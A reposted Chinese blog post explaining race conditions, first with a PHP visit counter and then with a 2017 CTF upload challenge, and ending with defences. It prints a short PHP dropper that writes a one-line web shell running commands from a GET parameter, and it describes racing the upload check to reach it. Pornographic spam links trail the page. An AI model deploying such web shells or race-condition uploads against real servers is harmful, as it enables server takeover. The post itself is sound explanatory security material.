<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          [轉(zhuǎn)]來(lái)聊聊條件競(jìng)爭(zhēng)

          共 3111字,需瀏覽 7分鐘

           ·

          2023-10-14 06:42

          條件競(jìng)爭(zhēng),無(wú)非就是多個(gè)線程(action)同時(shí)訪問(wèn)一個(gè)數(shù)據(jù)(data)沒(méi)有進(jìn)行加鎖操作,而產(chǎn)生非預(yù)期結(jié)果的行為。

          開(kāi)發(fā)者在進(jìn)行代碼開(kāi)發(fā)時(shí)常常傾向于認(rèn)為代碼會(huì)以線性的方式執(zhí)行,但他們忽視了并行服務(wù)器會(huì)并發(fā)執(zhí)行多個(gè)線程,這就會(huì)導(dǎo)致意想不到的結(jié)果。

          存在以下條件的事務(wù),可能存在條件競(jìng)爭(zhēng):

          1. 并發(fā)。至少得存在兩個(gè)并發(fā)執(zhí)行流。

          2. 共享對(duì)象。即多個(gè)并行任務(wù)訪問(wèn)同一個(gè)數(shù)據(jù)。

          3. 改變數(shù)據(jù)(寫(xiě)操作)。至少有一個(gè)進(jìn)程對(duì)數(shù)據(jù)進(jìn)行了改變。如果所有進(jìn)程執(zhí)行的都是讀操作,那就不會(huì)有條件競(jìng)爭(zhēng)錯(cuò)誤了。


          舉個(gè)最簡(jiǎn)單的條件競(jìng)爭(zhēng)例子:

                
                  
                    <?php
                  
                
                
                  $cnt=file_get_contents('count.txt');
                
                
                  
                    //count.txt 初始值為0
                  
                
                
                  $cnt+=1;
                
                
                  
                    
          echo "這個(gè)頁(yè)面已經(jīng)被訪問(wèn)".$cnt."次了"; file_put_contents('count.txt',$cnt); ?>

          在這個(gè)代碼里,php使用file_get_contents讀取count.txt文本,將文本的值進(jìn)行“+1”操作并進(jìn)行輸出。最后將這個(gè)“+1”的值寫(xiě)回這個(gè)文本中。

          我們?cè)谠L問(wèn)這個(gè)頁(yè)面的時(shí)候,頁(yè)面就可以統(tǒng)計(jì)這個(gè)網(wǎng)頁(yè)被訪問(wèn)的次數(shù)了。

          我們有些時(shí)候會(huì)為了某些目的,去寫(xiě)一個(gè)腳本瘋狂訪問(wèn)這個(gè)頁(yè)面。但是當(dāng)我們?nèi)プ屇_本替我們?cè)L問(wèn)1000次的時(shí)候,可能最后輸出也就幾百次(甚至幾次)......

          怎么回事呢?條件競(jìng)爭(zhēng)了唄。

          可能,在線程0執(zhí)行到代碼第七行的時(shí)候($cnt=2),同時(shí)有300個(gè)進(jìn)程也在嘗試寫(xiě)訪問(wèn)“count.txt”這個(gè)文檔,它們的$cnt可能不盡相同,也可能都相同。存入的值也就五花八門(mén)了。

          在存入時(shí),可能會(huì)出現(xiàn)互相爭(zhēng)搶資源的情況,

          比如0號(hào)線程存入了個(gè)1,

          同時(shí)4號(hào)存入了個(gè)3,

          19號(hào)執(zhí)行的稍微慢些,存入了個(gè)1......

          或者

          在2號(hào)線程對(duì)文件寫(xiě)入時(shí),文件的值剛被刪除,59號(hào)線程就讀取到了這個(gè)空文件的值......然后一切又從零開(kāi)始了


          來(lái)看看真實(shí)場(chǎng)景下出現(xiàn)的條件競(jìng)爭(zhēng)吧

                
                  
                    <?php
                  
                
                
                  header("Content-Type:text/html;charset=utf-8");
                
                
                  $filename = $_FILES['file']['name'];
                
                
                  $ext = substr($filename,strrpos($filename,'.') + 1);   #后綴
                
                
                  
                    
          $path = 'uploads/' . $filename; $tmp = $_FILES['file']['tmp_name']; if(move_uploaded_file($tmp, $path)){ if(!preg_match('/php/i', $ext)){ #判斷后綴是否為php echo 'upload success,file in '.$path; }else{ unlink($path); #已經(jīng)上傳后判斷若是PHP則刪除 die("can't upload php file!"); } }else{ die('upload error'); }

          這道題,曾是一道17年的CTF題,用戶上傳文件到服務(wù)器上,如果檢測(cè)到已經(jīng)上傳成功的文件擴(kuò)展名是.php,那就unlink(刪除)它。

          在執(zhí)行完move_uploaded_file之后,執(zhí)行unlink之前,此時(shí)這個(gè)php文件是已經(jīng)保存到了web服務(wù)器上的,并且我們能夠訪問(wèn)。

          就這樣,我們弄出了這樣的一個(gè)php腳本,并打算把它上傳到服務(wù)器上......

                
                  
                    <?php
                  
                
                
                  $content='<?php system($_GET["c"]);?>';
                
                
                  file_put_contents('test.php',$content);
                
                
                  
                    ?>
                  
                
              

          然后一頭一遍又一遍的往這個(gè)接口去上傳這個(gè)腳本,另一頭去嘗試訪問(wèn)服務(wù)器上這個(gè)腳本的名稱(假設(shè)上傳成功了的話)和訪問(wèn)這個(gè)腳本所生成的一句話木馬文件(test.php),如果訪問(wèn)后兩個(gè)腳本服務(wù)端都返回腳本存在,那......

          咱們就卡bug成功了唄


          總之,我個(gè)人認(rèn)為,條件競(jìng)爭(zhēng)就是在卡bug。

          黑客們?cè)谫€,服務(wù)器是否會(huì)有充分的時(shí)間來(lái)處理每一條指令。會(huì)不會(huì)被我們鉆到空子

          正如我在烤盤(pán)飯打工的時(shí)候,當(dāng)前臺(tái)同時(shí)取餐過(guò)多時(shí),我們可能會(huì)因?yàn)闆](méi)有充分的反應(yīng)時(shí)間,導(dǎo)致忘記回收號(hào)牌,出錯(cuò)餐,牌子和夾子對(duì)不上等等問(wèn)題。

          這,就是條件競(jìng)爭(zhēng)。


          條件競(jìng)爭(zhēng)如何防御?

          1. 給服務(wù)器足夠的時(shí)間處理這些請(qǐng)求。(不妨強(qiáng)迫客戶端慢一點(diǎn)請(qǐng)求借口......)

          2. 加鎖,在向數(shù)據(jù)庫(kù)做寫(xiě)入操作的同時(shí),給這行數(shù)據(jù)表加寫(xiě)鎖(別人都不能讀取和寫(xiě)入這行數(shù)據(jù))

          3. 調(diào)優(yōu)代碼邏輯,對(duì)不穩(wěn)登的文件,一定要檢查好再存儲(chǔ)在服務(wù)器上。



          反正,應(yīng)對(duì)條件競(jìng)爭(zhēng),我們能做的,核心就是:

          慢慢來(lái),慢慢處理



          “慢慢來(lái)”,不僅僅只對(duì)條件競(jìng)爭(zhēng)生效,對(duì)感情一樣有效。

          祝愿(000 0000 01 10)有(1011 001 01 10)情(1011 001)人(1001 00 10)終(1010 0000 0 10)成(1100 10 111)眷(1101 00 01 10)屬(000 0000 111 011)(說(shuō)誰(shuí)倆誰(shuí)倆心里清楚)

          瀏覽 20
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  久艹久艹| 国产午夜福利片 | 天堂视频一区二区 | h艹在线观看免费网站 | 无码操大逼 |